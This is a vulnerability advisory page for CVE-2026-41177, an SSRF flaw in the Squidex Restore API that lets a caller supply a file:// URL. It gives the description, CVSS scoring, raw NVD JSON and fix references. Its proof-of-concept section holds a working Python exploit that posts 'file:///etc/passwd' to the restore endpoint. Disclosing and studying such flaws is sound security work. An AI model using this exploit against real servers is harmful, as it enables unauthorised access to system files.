Security Vulnerability Report
中文
CVE-2026-41177 CVSS 5.5 MEDIUM

CVE-2026-41177

Published: 2026-04-22 22:16:32
Last Modified: 2026-04-24 14:45:25

Description

Squidex is an open source headless content management system and content management hub. Prior to version 7.23.0, the Squidex Restore API is vulnerable to Blind Server-Side Request Forgery (SSRF). The application fails to validate the URI scheme of the user-supplied `Url` parameter, allowing the use of the `file://` protocol. This allows an authenticated administrator to force the backend server to interact with the local filesystem, which can lead to Local File Interaction (LFI) and potential disclosure of sensitive system information through side-channel analysis of internal logs. Version 7.23.0 contains a fix.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Squidex < 7.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41177 (Blind SSRF in Squidex) # Target: Squidex < 7.23.0 # Requirements: Administrator privileges import requests def exploit_squidex_ssrf(target_url, admin_token): """ Exploit the Blind SSRF via Restore API using file:// scheme. """ headers = { "Authorization": f"Bearer {admin_token}", "Content-Type": "application/json" } # The endpoint vulnerable to SSRF api_endpoint = f"{target_url}/api/restore" # Malicious payload attempting to read /etc/passwd payload = { "Url": "file:///etc/passwd" } try: response = requests.post(api_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server logs for file interaction traces.") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage Example # exploit_squidex_ssrf("http://localhost:5000", "YOUR_ADMIN_TOKEN")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41177", "sourceIdentifier": "[email protected]", "published": "2026-04-22T22:16:31.957", "lastModified": "2026-04-24T14:45:24.803", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Squidex is an open source headless content management system and content management hub. Prior to version 7.23.0, the Squidex Restore API is vulnerable to Blind Server-Side Request Forgery (SSRF). The application fails to validate the URI scheme of the user-supplied `Url` parameter, allowing the use of the `file://` protocol. This allows an authenticated administrator to force the backend server to interact with the local filesystem, which can lead to Local File Interaction (LFI) and potential disclosure of sensitive system information through side-channel analysis of internal logs. Version 7.23.0 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Squidex/squidex/commit/b81d75e1d9c1a8e30993c2ee59b350002b9aeda4", "source": "[email protected]"}, {"url": "https://github.com/Squidex/squidex/security/advisories/GHSA-45fq-w37p-qfw5", "source": "[email protected]"}, {"url": "https://github.com/Squidex/squidex/security/advisories/GHSA-45fq-w37p-qfw5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}